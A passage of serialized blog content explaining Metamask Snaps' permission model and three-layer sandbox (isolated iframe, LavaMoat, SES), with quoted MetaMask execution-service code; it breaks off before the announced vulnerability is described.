issue.",{"type":21,"tag":3632,"props":35846,"children":35847},{},[35848],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":35850},[35851,35854,35860,35864,35865],{"id":29458,"depth":98,"text":29461,"children":35852},[35853],{"id":3697,"depth":151,"text":3700},{"id":31652,"depth":98,"text":31682,"children":35855},[35856,35857,35858,35859],{"id":31701,"depth":151,"text":31704},{"id":31766,"depth":151,"text":31769},{"id":34598,"depth":151,"text":34601},{"id":34888,"depth":151,"text":34891},{"id":35233,"depth":98,"text":35236,"children":35861},[35862,35863],{"id":35255,"depth":151,"text":35258},{"id":35305,"depth":151,"text":35308},{"id":35389,"depth":98,"text":35395},{"id":35836,"depth":98,"text":35839},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":35870,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":35871,"description":35872,"author":35873,"image":35874,"date":35876,"isFeatured":16,"onBlogPage":16,"body":35877,"_type":3642,"_id":40893,"_source":3644,"_file":40894,"_stem":40895,"_extension":3647},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[31646,31645],{"src":35875,"height":14040,"width":14041},"/posts/metamask-snaps/header.png","2023-11-01",{"type":18,"children":35878,"toc":40874},[35879,35883,35888,35893,35898,35904,35909,35915,35928,35933,35938,35945,35977,35983,35988,36006,36013,36019,36033,36039,36059,36323,36351,36357,36376,36762,36781,36794,37112,37133,37404,37409,37415,37420,37433,37438,37451,37710,37754,37767,37773,37787,37793,37799,37812,37849,37855,37875,37986,38013,38019,38037,38050,38056,38061,38079,38190,38195,38216,38229,38246,38346,38372,38389,38511,38537,38549,38554,38560,38566,38571,38594,38599,38604,38610,38616,38643,39046,39073,39100,39106,39137,39446,39465,39470,39495,39508,39514,39541,39836,39872,39890,39895,39930,39935,39939,39944,39951,39956,39983,40760,40780,40786,40807,40856,40860,40865,40870],{"type":21,"tag":54,"props":35880,"children":35881},{"id":19382},[35882],{"type":26,"value":19385},{"type":21,"tag":22,"props":35884,"children":35885},{},[35886],{"type":26,"value":35887},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":21,"tag":22,"props":35889,"children":35890},{},[35891],{"type":26,"value":35892},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":21,"tag":22,"props":35894,"children":35895},{},[35896],{"type":26,"value":35897},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":21,"tag":54,"props":35899,"children":35901},{"id":35900},"sandbox-security",[35902],{"type":26,"value":35903},"Sandbox Security",{"type":21,"tag":22,"props":35905,"children":35906},{},[35907],{"type":26,"value":35908},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":21,"tag":10022,"props":35910,"children":35912},{"id":35911},"permission-based-security",[35913],{"type":26,"value":35914},"Permission-based security",{"type":21,"tag":22,"props":35916,"children":35917},{},[35918,35920,35926],{"type":26,"value":35919},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":21,"tag":66,"props":35921,"children":35923},{"className":35922},[],[35924],{"type":26,"value":35925},"snap.manifest.json",{"type":26,"value":35927}," file and can be critical to security.",{"type":21,"tag":22,"props":35929,"children":35930},{},[35931],{"type":26,"value":35932},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":21,"tag":22,"props":35934,"children":35935},{},[35936],{"type":26,"value":35937},"Here are the critical permissions possible to be given to a snap:",{"type":21,"tag":22,"props":35939,"children":35940},{},[35941],{"type":21,"tag":4681,"props":35942,"children":35944},{"alt":7,"src":35943},"/posts/metamask-snaps/permissions.png",[],{"type":21,"tag":17108,"props":35946,"children":35947},{},[35948,35966],{"type":21,"tag":845,"props":35949,"children":35950},{},[35951,35957,35958,35964],{"type":21,"tag":66,"props":35952,"children":35954},{"className":35953},[],[35955],{"type":26,"value":35956},"snap_getBip44Entropy",{"type":26,"value":11408},{"type":21,"tag":66,"props":35959,"children":35961},{"className":35960},[],[35962],{"type":26,"value":35963},"snap_getBip32Entropy",{"type":26,"value":35965}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":21,"tag":845,"props":35967,"children":35968},{},[35969,35975],{"type":21,"tag":66,"props":35970,"children":35972},{"className":35971},[],[35973],{"type":26,"value":35974},"endowment:transaction-insight",{"type":26,"value":35976}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":21,"tag":10022,"props":35978,"children":35980},{"id":35979},"snap-execution-environment",[35981],{"type":26,"value":35982},"Snap execution environment",{"type":21,"tag":22,"props":35984,"children":35985},{},[35986],{"type":26,"value":35987},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":21,"tag":841,"props":35989,"children":35990},{},[35991,35996,36001],{"type":21,"tag":845,"props":35992,"children":35993},{},[35994],{"type":26,"value":35995},"An isolated iframe",{"type":21,"tag":845,"props":35997,"children":35998},{},[35999],{"type":26,"value":36000},"LavaMoat",{"type":21,"tag":845,"props":36002,"children":36003},{},[36004],{"type":26,"value":36005},"SES (Secure EcmaScript)",{"type":21,"tag":22,"props":36007,"children":36008},{},[36009],{"type":21,"tag":4681,"props":36010,"children":36012},{"alt":7,"src":36011},"/posts/metamask-snaps/environment.png",[],{"type":21,"tag":10022,"props":36014,"children":36016},{"id":36015},"isolated-iframe-layer-1",[36017],{"type":26,"value":36018},"Isolated Iframe - Layer 1",{"type":21,"tag":22,"props":36020,"children":36021},{},[36022,36024,36031],{"type":26,"value":36023},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":21,"tag":335,"props":36025,"children":36028},{"href":36026,"rel":36027},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[339],[36029],{"type":26,"value":36030},"Iframe",{"type":26,"value":36032}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":21,"tag":19318,"props":36034,"children":36036},{"id":36035},"the-framework-metamask-extension-repo",[36037],{"type":26,"value":36038},"The Framework: Metamask-Extension Repo",{"type":21,"tag":22,"props":36040,"children":36041},{},[36042,36044,36050,36052,36058],{"type":26,"value":36043},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":21,"tag":66,"props":36045,"children":36047},{"className":36046},[],[36048],{"type":26,"value":36049},"metamask-controller.js",{"type":26,"value":36051}," file. Here's a glimpse of the relevant ",{"type":21,"tag":335,"props":36053,"children":36056},{"href":36054,"rel":36055},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[339],[36057],{"type":26,"value":66},{"type":26,"value":172},{"type":21,"tag":75,"props":36060,"children":36064},{"className":36061,"code":36062,"language":36063,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[36065],{"type":21,"tag":66,"props":36066,"children":36067},{"__ignoreMap":7},[36068,36076,36084,36104,36152,36187,36204,36212,36254,36261,36268,36276,36304,36316],{"type":21,"tag":85,"props":36069,"children":36070},{"class":87,"line":88},[36071],{"type":21,"tag":85,"props":36072,"children":36073},{"style":92},[36074],{"type":26,"value":36075},"// Import snaps-controllers\n",{"type":21,"tag":85,"props":36077,"children":36078},{"class":87,"line":98},[36079],{"type":21,"tag":85,"props":36080,"children":36081},{"style":92},[36082],{"type":26,"value":36083},"// ...\n",{"type":21,"tag":85,"props":36085,"children":36086},{"class":87,"line":151},[36087,36091,36096,36100],{"type":21,"tag":85,"props":36088,"children":36089},{"style":102},[36090],{"type":26,"value":10069},{"type":21,"tag":85,"props":36092,"children":36093},{"style":120},[36094],{"type":26,"value":36095}," snapExecutionServiceArgs",{"type":21,"tag":85,"props":36097,"children":36098},{"style":169},[36099],{"type":26,"value":1941},{"type":21,"tag":85,"props":36101,"children":36102},{"style":114},[36103],{"type":26,"value":148},{"type":21,"tag":85,"props":36105,"children":36106},{"class":87,"line":160},[36107,36112,36116,36121,36125,36130,36134,36139,36143,36148],{"type":21,"tag":85,"props":36108,"children":36109},{"style":120},[36110],{"type":26,"value":36111},"  iframeUrl:",{"type":21,"tag":85,"props":36113,"children":36114},{"style":102},[36115],{"type":26,"value":32378},{"type":21,"tag":85,"props":36117,"children":36118},{"style":1021},[36119],{"type":26,"value":36120}," URL",{"type":21,"tag":85,"props":36122,"children":36123},{"style":114},[36124],{"type":26,"value":1439},{"type":21,"tag":85,"props":36126,"children":36127},{"style":120},[36128],{"type":26,"value":36129},"process",{"type":21,"tag":85,"props":36131,"children":36132},{"style":114},[36133],{"type":26,"value":73},{"type":21,"tag":85,"props":36135,"children":36136},{"style":120},[36137],{"type":26,"value":36138},"env",{"type":21,"tag":85,"props":36140,"children":36141},{"style":114},[36142],{"type":26,"value":73},{"type":21,"tag":85,"props":36144,"children":36145},{"style":120},[36146],{"type":26,"value":36147},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":21,"tag":85,"props":36149,"children":36150},{"style":114},[36151],{"type":26,"value":1074},{"type":21,"tag":85,"props":36153,"children":36154},{"class":87,"line":185},[36155,36160,36165,36169,36174,36178,36183],{"type":21,"tag":85,"props":36156,"children":36157},{"style":120},[36158],{"type":26,"value":36159},"  messenger:",{"type":21,"tag":85,"props":36161,"children":36162},{"style":102},[36163],{"type":26,"value":36164}," this",{"type":21,"tag":85,"props":36166,"children":36167},{"style":114},[36168],{"type":26,"value":73},{"type":21,"tag":85,"props":36170,"children":36171},{"style":120},[36172],{"type":26,"value":36173},"controllerMessenger",{"type":21,"tag":85,"props":36175,"children":36176},{"style":114},[36177],{"type":26,"value":73},{"type":21,"tag":85,"props":36179,"children":36180},{"style":1021},[36181],{"type":26,"value":36182},"getRestricted",{"type":21,"tag":85,"props":36184,"children":36185},{"style":114},[36186],{"type":26,"value":15559},{"type":21,"tag":85,"props":36188,"children":36189},{"class":87,"line":501},[36190,36195,36200],{"type":21,"tag":85,"props":36191,"children":36192},{"style":120},[36193],{"type":26,"value":36194},"    name:",{"type":21,"tag":85,"props":36196,"children":36197},{"style":5026},[36198],{"type":26,"value":36199}," 'ExecutionService'",{"type":21,"tag":85,"props":36201,"children":36202},{"style":114},[36203],{"type":26,"value":182},{"type":21,"tag":85,"props":36205,"children":36206},{"class":87,"line":697},[36207],{"type":21,"tag":85,"props":36208,"children":36209},{"style":114},[36210],{"type":26,"value":36211},"  }),\n",{"type":21,"tag":85,"props":36213,"children":36214},{"class":87,"line":706},[36215,36220,36224,36228,36233,36237,36242,36246,36250],{"type":21,"tag":85,"props":36216,"children":36217},{"style":120},[36218],{"type":26,"value":36219},"  setupSnapProvider:",{"type":21,"tag":85,"props":36221,"children":36222},{"style":102},[36223],{"type":26,"value":36164},{"type":21,"tag":85,"props":36225,"children":36226},{"style":114},[36227],{"type":26,"value":73},{"type":21,"tag":85,"props":36229,"children":36230},{"style":120},[36231],{"type":26,"value":36232},"setupSnapProvider",{"type":21,"tag":85,"props":36234,"children":36235},{"style":114},[36236],{"type":26,"value":73},{"type":21,"tag":85,"props":36238,"children":36239},{"style":1021},[36240],{"type":26,"value":36241},"bind",{"type":21,"tag":85,"props":36243,"children":36244},{"style":114},[36245],{"type":26,"value":1439},{"type":21,"tag":85,"props":36247,"children":36248},{"style":102},[36249],{"type":26,"value":18116},{"type":21,"tag":85,"props":36251,"children":36252},{"style":114},[36253],{"type":26,"value":1074},{"type":21,"tag":85,"props":36255,"children":36256},{"class":87,"line":1100},[36257],{"type":21,"tag":85,"props":36258,"children":36259},{"style":114},[36260],{"type":26,"value":16998},{"type":21,"tag":85,"props":36262,"children":36263},{"class":87,"line":1339},[36264],{"type":21,"tag":85,"props":36265,"children":36266},{"emptyLinePlaceholder":16},[36267],{"type":26,"value":703},{"type":21,"tag":85,"props":36269,"children":36270},{"class":87,"line":1348},[36271],{"type":21,"tag":85,"props":36272,"children":36273},{"style":92},[36274],{"type":26,"value":36275},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":21,"tag":85,"props":36277,"children":36278},{"class":87,"line":1386},[36279,36283,36287,36291,36295,36299],{"type":21,"tag":85,"props":36280,"children":36281},{"style":120},[36282],{"type":26,"value":36129},{"type":21,"tag":85,"props":36284,"children":36285},{"style":114},[36286],{"type":26,"value":73},{"type":21,"tag":85,"props":36288,"children":36289},{"style":120},[36290],{"type":26,"value":36138},{"type":21,"tag":85,"props":36292,"children":36293},{"style":114},[36294],{"type":26,"value":73},{"type":21,"tag":85,"props":36296,"children":36297},{"style":120},[36298],{"type":26,"value":36147},{"type":21,"tag":85,"props":36300,"children":36301},{"style":169},[36302],{"type":26,"value":36303}," =\n",{"type":21,"tag":85,"props":36305,"children":36306},{"class":87,"line":1394},[36307,36312],{"type":21,"tag":85,"props":36308,"children":36309},{"style":5026},[36310],{"type":26,"value":36311},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":21,"tag":85,"props":36313,"children":36314},{"style":114},[36315],{"type":26,"value":2535},{"type":21,"tag":85,"props":36317,"children":36318},{"class":87,"line":1402},[36319],{"type":21,"tag":85,"props":36320,"children":36321},{"style":92},[36322],{"type":26,"value":36083},{"type":21,"tag":22,"props":36324,"children":36325},{},[36326,36328,36334,36336,36342,36344,36349],{"type":26,"value":36327},"This code is defining the ",{"type":21,"tag":66,"props":36329,"children":36331},{"className":36330},[],[36332],{"type":26,"value":36333},"snapExecutionServiceArgs",{"type":26,"value":36335}," object, which contains information required for the ",{"type":21,"tag":66,"props":36337,"children":36339},{"className":36338},[],[36340],{"type":26,"value":36341},"IframeExecutionService",{"type":26,"value":36343}," to execute snaps. The ",{"type":21,"tag":66,"props":36345,"children":36347},{"className":36346},[],[36348],{"type":26,"value":36147},{"type":26,"value":36350}," points to the location where the execution environment resides.",{"type":21,"tag":19318,"props":36352,"children":36354},{"id":36353},"executing-snaps-iframeexecutionservice-in-action",[36355],{"type":26,"value":36356},"Executing Snaps: IframeExecutionService in Action",{"type":21,"tag":22,"props":36358,"children":36359},{},[36360,36362,36367,36369,36375],{"type":26,"value":36361},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":21,"tag":66,"props":36363,"children":36365},{"className":36364},[],[36366],{"type":26,"value":36341},{"type":26,"value":36368}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":21,"tag":335,"props":36370,"children":36373},{"href":36371,"rel":36372},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[339],[36374],{"type":26,"value":66},{"type":26,"value":172},{"type":21,"tag":75,"props":36377,"children":36381},{"className":36378,"code":36379,"language":36380,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[36382],{"type":21,"tag":66,"props":36383,"children":36384},{"__ignoreMap":7},[36385,36393,36422,36452,36505,36542,36549,36556,36564,36571,36578,36586,36621,36629,36685,36747,36755],{"type":21,"tag":85,"props":36386,"children":36387},{"class":87,"line":88},[36388],{"type":21,"tag":85,"props":36389,"children":36390},{"style":92},[36391],{"type":26,"value":36392},"// Register message handlers for snap interactions\n",{"type":21,"tag":85,"props":36394,"children":36395},{"class":87,"line":98},[36396,36400,36404,36409,36413,36418],{"type":21,"tag":85,"props":36397,"children":36398},{"style":102},[36399],{"type":26,"value":18116},{"type":21,"tag":85,"props":36401,"children":36402},{"style":114},[36403],{"type":26,"value":73},{"type":21,"tag":85,"props":36405,"children":36406},{"style":120},[36407],{"type":26,"value":36408},"#messenger",{"type":21,"tag":85,"props":36410,"children":36411},{"style":114},[36412],{"type":26,"value":73},{"type":21,"tag":85,"props":36414,"children":36415},{"style":1021},[36416],{"type":26,"value":36417},"registerActionHandler",{"type":21,"tag":85,"props":36419,"children":36420},{"style":114},[36421],{"type":26,"value":1029},{"type":21,"tag":85,"props":36423,"children":36424},{"class":87,"line":151},[36425,36430,36434,36439,36443,36448],{"type":21,"tag":85,"props":36426,"children":36427},{"style":5026},[36428],{"type":26,"value":36429},"  `",{"type":21,"tag":85,"props":36431,"children":36432},{"style":102},[36433],{"type":26,"value":34555},{"type":21,"tag":85,"props":36435,"children":36436},{"style":120},[36437],{"type":26,"value":36438},"controllerName",{"type":21,"tag":85,"props":36440,"children":36441},{"style":102},[36442],{"type":26,"value":34587},{"type":21,"tag":85,"props":36444,"children":36445},{"style":5026},[36446],{"type":26,"value":36447},":handleRpcRequest`",{"type":21,"tag":85,"props":36449,"children":36450},{"style":114},[36451],{"type":26,"value":182},{"type":21,"tag":85,"props":36453,"children":36454},{"class":87,"line":160},[36455,36460,36464,36469,36473,36478,36482,36487,36491,36496,36500],{"type":21,"tag":85,"props":36456,"children":36457},{"style":102},[36458],{"type":26,"value":36459},"  async",{"type":21,"tag":85,"props":36461,"children":36462},{"style":114},[36463],{"type":26,"value":717},{"type":21,"tag":85,"props":36465,"children":36466},{"style":120},[36467],{"type":26,"value":36468},"snapId",{"type":21,"tag":85,"props":36470,"children":36471},{"style":169},[36472],{"type":26,"value":172},{"type":21,"tag":85,"props":36474,"children":36475},{"style":108},[36476],{"type":26,"value":36477}," string",{"type":21,"tag":85,"props":36479,"children":36480},{"style":114},[36481],{"type":26,"value":256},{"type":21,"tag":85,"props":36483,"children":36484},{"style":120},[36485],{"type":26,"value":36486},"options",{"type":21,"tag":85,"props":36488,"children":36489},{"style":169},[36490],{"type":26,"value":172},{"type":21,"tag":85,"props":36492,"children":36493},{"style":108},[36494],{"type":26,"value":36495}," SnapRpcHookArgs",{"type":21,"tag":85,"props":36497,"children":36498},{"style":114},[36499],{"type":26,"value":736},{"type":21,"tag":85,"props":36501,"children":36502},{"style":102},[36503],{"type":26,"value":36504},"=>\n",{"type":21,"tag":85,"props":36506,"children":36507},{"class":87,"line":185},[36508,36513,36517,36522,36526,36530,36534,36538],{"type":21,"tag":85,"props":36509,"children":36510},{"style":102},[36511],{"type":26,"value":36512},"    this",{"type":21,"tag":85,"props":36514,"children":36515},{"style":114},[36516],{"type":26,"value":73},{"type":21,"tag":85,"props":36518,"children":36519},{"style":1021},[36520],{"type":26,"value":36521},"handleRpcRequest",{"type":21,"tag":85,"props":36523,"children":36524},{"style":114},[36525],{"type":26,"value":1439},{"type":21,"tag":85,"props":36527,"children":36528},{"style":120},[36529],{"type":26,"value":36468},{"type":21,"tag":85,"props":36531,"children":36532},{"style":114},[36533],{"type":26,"value":256},{"type":21,"tag":85,"props":36535,"children":36536},{"style":120},[36537],{"type":26,"value":36486},{"type":21,"tag":85,"props":36539,"children":36540},{"style":114},[36541],{"type":26,"value":1074},{"type":21,"tag":85,"props":36543,"children":36544},{"class":87,"line":501},[36545],{"type":21,"tag":85,"props":36546,"children":36547},{"style":114},[36548],{"type":26,"value":777},{"type":21,"tag":85,"props":36550,"children":36551},{"class":87,"line":697},[36552],{"type":21,"tag":85,"props":36553,"children":36554},{"emptyLinePlaceholder":16},[36555],{"type":26,"value":703},{"type":21,"tag":85,"props":36557,"children":36558},{"class":87,"line":706},[36559],{"type":21,"tag":85,"props":36560,"children":36561},{"style":92},[36562],{"type":26,"value":36563},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":21,"tag":85,"props":36565,"children":36566},{"class":87,"line":1100},[36567],{"type":21,"tag":85,"props":36568,"children":36569},{"style":92},[36570],{"type":26,"value":36083},{"type":21,"tag":85,"props":36572,"children":36573},{"class":87,"line":1339},[36574],{"type":21,"tag":85,"props":36575,"children":36576},{"emptyLinePlaceholder":16},[36577],{"type":26,"value":703},{"type":21,"tag":85,"props":36579,"children":36580},{"class":87,"line":1348},[36581],{"type":21,"tag":85,"props":36582,"children":36583},{"style":92},[36584],{"type":26,"value":36585},"// Execute a snap\n",{"type":21,"tag":85,"props":36587,"children":36588},{"class":87,"line":1386},[36589,36594,36599,36603,36608,36612,36617],{"type":21,"tag":85,"props":36590,"children":36591},{"style":120},[36592],{"type":26,"value":36593},"async",{"type":21,"tag":85,"props":36595,"children":36596},{"style":1021},[36597],{"type":26,"value":36598}," executeSnap",{"type":21,"tag":85,"props":36600,"children":36601},{"style":114},[36602],{"type":26,"value":1439},{"type":21,"tag":85,"props":36604,"children":36605},{"style":120},[36606],{"type":26,"value":36607},"snapData",{"type":21,"tag":85,"props":36609,"children":36610},{"style":114},[36611],{"type":26,"value":15750},{"type":21,"tag":85,"props":36613,"children":36614},{"style":120},[36615],{"type":26,"value":36616},"SnapExecutionData",{"type":21,"tag":85,"props":36618,"children":36619},{"style":114},[36620],{"type":26,"value":15222},{"type":21,"tag":85,"props":36622,"children":36623},{"class":87,"line":1394},[36624],{"type":21,"tag":85,"props":36625,"children":36626},{"style":92},[36627],{"type":26,"value":36628},"  // Initialize job, streams, and environment\n",{"type":21,"tag":85,"props":36630,"children":36631},{"class":87,"line":1402},[36632,36637,36641,36646,36651,36655,36660,36664,36668,36673,36677,36681],{"type":21,"tag":85,"props":36633,"children":36634},{"style":102},[36635],{"type":26,"value":36636},"  const",{"type":21,"tag":85,"props":36638,"children":36639},{"style":114},[36640],{"type":26,"value":9999},{"type":21,"tag":85,"props":36642,"children":36643},{"style":120},[36644],{"type":26,"value":36645},"jobId",{"type":21,"tag":85,"props":36647,"children":36648},{"style":114},[36649],{"type":26,"value":36650}," } ",{"type":21,"tag":85,"props":36652,"children":36653},{"style":169},[36654],{"type":26,"value":741},{"type":21,"tag":85,"props":36656,"children":36657},{"style":2885},[36658],{"type":26,"value":36659}," await",{"type":21,"tag":85,"props":36661,"children":36662},{"style":102},[36663],{"type":26,"value":36164},{"type":21,"tag":85,"props":36665,"children":36666},{"style":114},[36667],{"type":26,"value":73},{"type":21,"tag":85,"props":36669,"children":36670},{"style":1021},[36671],{"type":26,"value":36672},"initJob",{"type":21,"tag":85,"props":36674,"children":36675},{"style":114},[36676],{"type":26,"value":1439},{"type":21,"tag":85,"props":36678,"children":36679},{"style":120},[36680],{"type":26,"value":36607},{"type":21,"tag":85,"props":36682,"children":36683},{"style":114},[36684],{"type":26,"value":777},{"type":21,"tag":85,"props":36686,"children":36687},{"class":87,"line":3145},[36688,36692,36696,36701,36705,36710,36714,36718,36722,36726,36730,36735,36739,36743],{"type":21,"tag":85,"props":36689,"children":36690},{"style":102},[36691],{"type":26,"value":36636},{"type":21,"tag":85,"props":36693,"children":36694},{"style":114},[36695],{"type":26,"value":9999},{"type":21,"tag":85,"props":36697,"children":36698},{"style":120},[36699],{"type":26,"value":36700},"worker",{"type":21,"tag":85,"props":36702,"children":36703},{"style":114},[36704],{"type":26,"value":256},{"type":21,"tag":85,"props":36706,"children":36707},{"style":120},[36708],{"type":26,"value":36709},"stream",{"type":21,"tag":85,"props":36711,"children":36712},{"style":114},[36713],{"type":26,"value":36650},{"type":21,"tag":85,"props":36715,"children":36716},{"style":169},[36717],{"type":26,"value":741},{"type":21,"tag":85,"props":36719,"children":36720},{"style":2885},[36721],{"type":26,"value":36659},{"type":21,"tag":85,"props":36723,"children":36724},{"style":102},[36725],{"type":26,"value":36164},{"type":21,"tag":85,"props":36727,"children":36728},{"style":114},[36729],{"type":26,"value":73},{"type":21,"tag":85,"props":36731,"children":36732},{"style":1021},[36733],{"type":26,"value":36734},"initEnvStream",{"type":21,"tag":85,"props":36736,"children":36737},{"style":114},[36738],{"type":26,"value":1439},{"type":21,"tag":85,"props":36740,"children":36741},{"style":120},[36742],{"type":26,"value":36645},{"type":21,"tag":85,"props":36744,"children":36745},{"style":114},[36746],{"type":26,"value":777},{"type":21,"tag":85,"props":36748,"children":36749},{"class":87,"line":3246},[36750],{"type":21,"tag":85,"props":36751,"children":36752},{"style":92},[36753],{"type":26,"value":36754},"  // ...\n",{"type":21,"tag":85,"props":36756,"children":36757},{"class":87,"line":3255},[36758],{"type":21,"tag":85,"props":36759,"children":36760},{"style":114},[36761],{"type":26,"value":2671},{"type":21,"tag":22,"props":36763,"children":36764},{},[36765,36766,36771,36773,36779],{"type":26,"value":17034},{"type":21,"tag":66,"props":36767,"children":36769},{"className":36768},[],[36770],{"type":26,"value":36341},{"type":26,"value":36772}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":21,"tag":66,"props":36774,"children":36776},{"className":36775},[],[36777],{"type":26,"value":36778},"${controllerName}:executeSnap",{"type":26,"value":36780}," handler triggers the snap execution process.",{"type":21,"tag":19318,"props":36782,"children":36784},{"id":36783},"step-by-step-execution-from-initialization-to-iframe-creation",[36785,36787],{"type":26,"value":36786},"Step-by-Step Execution: From Initialization to iFrame ",{"type":21,"tag":335,"props":36788,"children":36791},{"href":36789,"rel":36790},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[339],[36792],{"type":26,"value":36793},"creation",{"type":21,"tag":75,"props":36795,"children":36797},{"className":36378,"code":36796,"language":36380,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[36798],{"type":21,"tag":66,"props":36799,"children":36800},{"__ignoreMap":7},[36801,36850,36871,36892,36900,36964,36971,36999,37016,37033,37050,37067,37074,37081,37105],{"type":21,"tag":85,"props":36802,"children":36803},{"class":87,"line":88},[36804,36809,36814,36819,36823,36827,36831,36835,36840,36845],{"type":21,"tag":85,"props":36805,"children":36806},{"style":120},[36807],{"type":26,"value":36808},"protected",{"type":21,"tag":85,"props":36810,"children":36811},{"style":120},[36812],{"type":26,"value":36813}," async",{"type":21,"tag":85,"props":36815,"children":36816},{"style":1021},[36817],{"type":26,"value":36818}," initEnvStream",{"type":21,"tag":85,"props":36820,"children":36821},{"style":114},[36822],{"type":26,"value":1439},{"type":21,"tag":85,"props":36824,"children":36825},{"style":120},[36826],{"type":26,"value":36645},{"type":21,"tag":85,"props":36828,"children":36829},{"style":114},[36830],{"type":26,"value":15750},{"type":21,"tag":85,"props":36832,"children":36833},{"style":120},[36834],{"type":26,"value":30110},{"type":21,"tag":85,"props":36836,"children":36837},{"style":114},[36838],{"type":26,"value":36839},"): ",{"type":21,"tag":85,"props":36841,"children":36842},{"style":108},[36843],{"type":26,"value":36844},"Promise",{"type":21,"tag":85,"props":36846,"children":36847},{"style":114},[36848],{"type":26,"value":36849},"\u003C{\n",{"type":21,"tag":85,"props":36851,"children":36852},{"class":87,"line":98},[36853,36858,36862,36867],{"type":21,"tag":85,"props":36854,"children":36855},{"style":120},[36856],{"type":26,"value":36857},"    worker",{"type":21,"tag":85,"props":36859,"children":36860},{"style":169},[36861],{"type":26,"value":172},{"type":21,"tag":85,"props":36863,"children":36864},{"style":108},[36865],{"type":26,"value":36866}," Window",{"type":21,"tag":85,"props":36868,"children":36869},{"style":114},[36870],{"type":26,"value":2535},{"type":21,"tag":85,"props":36872,"children":36873},{"class":87,"line":151},[36874,36879,36883,36888],{"type":21,"tag":85,"props":36875,"children":36876},{"style":120},[36877],{"type":26,"value":36878},"    stream",{"type":21,"tag":85,"props":36880,"children":36881},{"style":169},[36882],{"type":26,"value":172},{"type":21,"tag":85,"props":36884,"children":36885},{"style":108},[36886],{"type":26,"value":36887}," BasePostMessageStream",{"type":21,"tag":85,"props":36889,"children":36890},{"style":114},[36891],{"type":26,"value":2535},{"type":21,"tag":85,"props":36893,"children":36894},{"class":87,"line":160},[36895],{"type":21,"tag":85,"props":36896,"children":36897},{"style":114},[36898],{"type":26,"value":36899},"  }> {\n",{"type":21,"tag":85,"props":36901,"children":36902},{"class":87,"line":185},[36903,36908,36913,36917,36921,36926,36930,36934,36938,36943,36947,36952,36956,36960],{"type":21,"tag":85,"props":36904,"children":36905},{"style":114},[36906],{"type":26,"value":36907},"    const ",{"type":21,"tag":85,"props":36909,"children":36910},{"style":120},[36911],{"type":26,"value":36912},"iframeWindow",{"type":21,"tag":85,"props":36914,"children":36915},{"style":169},[36916],{"type":26,"value":1941},{"type":21,"tag":85,"props":36918,"children":36919},{"style":2885},[36920],{"type":26,"value":36659},{"type":21,"tag":85,"props":36922,"children":36923},{"style":1021},[36924],{"type":26,"value":36925}," 